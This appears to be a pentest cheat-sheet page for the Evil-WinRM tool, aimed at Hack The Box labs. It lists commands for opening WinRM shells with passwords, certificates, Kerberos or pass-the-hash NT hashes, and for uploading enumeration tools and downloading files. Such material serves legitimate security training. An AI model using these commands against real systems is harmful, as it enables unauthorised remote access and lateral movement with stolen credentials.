Evil-WinRM
If a user is in Remote Management Users and port 5985 (or 5986) is open, Evil-WinRM gives you a comfortable shell with upload, download and in-memory loading of scripts and .NET binaries.
- Platform
- Linux · macOS (Ruby)
- Official site
- github.com/Hackplayers/evil-winrm
- On HTB
- 15 machines
Install
gem install evil-winrm- T1021.006 Windows Remote Management
- T1550.002 Pass the Hash
- Remote execution (WinRM, PsExec, WMI)
- Pass-the-hash / ticket
Evil-WinRM cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Ways to authenticate
Over HTTPS (port 5986)
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -S
With a certificate (from ADCS, for instance)
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
With Kerberos (KRB5CCNAME exported and krb5.conf set up)
evil-winrm -i dc01.box.htb -r box.htbInside the session
Upload and download files
Target
upload winPEASx64.exe
download C:\Users\Public\backup.zip
Load scripts from a folder and show the menu
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -s /opt/scripts
menuIn our cheatsheets
File transfer › Windows
Upload and download with evil-winrm
upload /ruta/local/fichero.exe
download C:\ruta\ficheroWindows and Active Directory privilege escalation › Windows
WinRM
Attacker
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash with evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NTC2 and post-exploitation › Lateral movement
evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949bNo command matches.
HTB machines where Evil-WinRM is used
Taken from the chapters of IppSec videos where Evil-WinRM shows up. The ▶ link jumps to the minute of that part.
Guides that use Evil-WinRM
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.